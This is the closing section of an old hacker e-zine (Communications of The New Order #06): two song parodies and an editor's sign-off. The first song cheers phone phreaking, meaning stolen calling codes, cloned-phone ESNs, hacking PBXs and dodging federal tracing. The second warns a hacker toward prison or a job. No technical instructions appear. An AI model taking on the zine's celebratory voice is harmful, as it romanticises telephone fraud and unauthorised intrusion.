"Phone Roam" Roam cyberspace, switching through every carrier Oh girl won't you lend me one of those codes Take it trunk to trunk, hopping through the satellites Around the world, the call flags switchboard lights Roam if you want to, roam around the world Roam if you want to, without codes, without cards Roam if you want to, roam around the world Roam if you want to, without anything but an ESN Hit conferences where you'll lose your mind Toners and lamers, leave them all behind Take it trunk to trunk, hopping through the satellites Around the world, the call flags switchboard lights Roam if you want to, roam around the world Roam if you want to, without codes, without cards Roam if you want to, roam around the world Roam if you want to, without anything but an ESN Go ahead and roam, go ahead and roam Scan all you can while the Feds trace you Hack up PBXs till your hands get tired Take it trunk to trunk, hopping through the satellites Around the world, the call flags switchboard lights Roam if you want to, roam around the world Roam if you want to, without codes, without cards Roam if you want to, roam around the world Roam if you want to, without anything but an ESN Take it trunk to trunk, hopping through the satellites Take it trunk to trunk, hopping through the satellites Take it trunk to trunk, hopping through the satellites Take it trunk to trunk, hopping through the satellites Take it trunk to trunk, hopping through the satellites Take it trunk to trunk, hopping through the satellites Go ahead and roam, go ahead and roam <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> End of CoTNo #06 I know you expect some snappy ending as usual to another successful issue of Communications of The New Order, but considering the grimness of much of this issue I don't think it would be appropriate. Despite all of the bad news that was presented in this issue, I hope that everyone will "keep the faith", as it were. Explore, learn, educate. But don't do anything stupid. The powers that be are becoming increasingly intent upon stopping those who are labeled as "hackers". And everyday, there are more of us for them to stop. Everyday, we are being introduced to new technologies that few people understand, and few people want to understand. Our desire to understand can be achieved, but we must be careful. Even though you just read this issue's Elite Music, I thought I would finish off with another song that has special significance to me. This showed up in my e-mail the other day and it really made me think. I hope it is as meaningful to you as it was for me... TNO MAN ------- To the Tune of Desperado, by The Eagles TNO man, why don't you come to your senses? You been out jumping' fences into those Bell yards. Oh you're a smart one, I know that you got your reasons, these things that are pleasin' can hurt you somehow. Don't you hack on those old .mil sites, they'll catch you if you're lazy, you know diverting twice is always your best bet. Now it seems to me some eleet things have been shown upon your screen but you only want the ones that you can't hack. TNO man, oh you ain't gettin' no younger, your hunger for knowledge, it's drivin' you on. And hacking, oh hacking, well that's just some people talkin', your prison is waitin' at the end of the line. Don't your power get old on the Internet? The account won't die and the root won't mind, it's hard to tell the night time from the day. You're losin' all your highs and lows, ain't it funny how the feelin' goes away? TNO man, why don't you come to your senses? Come down from your firewalls, open the gateway. It may be laming' but there's a job waiting for you. You better let somebody hire you LET SOMEBODY HIRE YOU you better let somebody hire you before it's too late. - Don Henley, Glenn Frey and the Voyager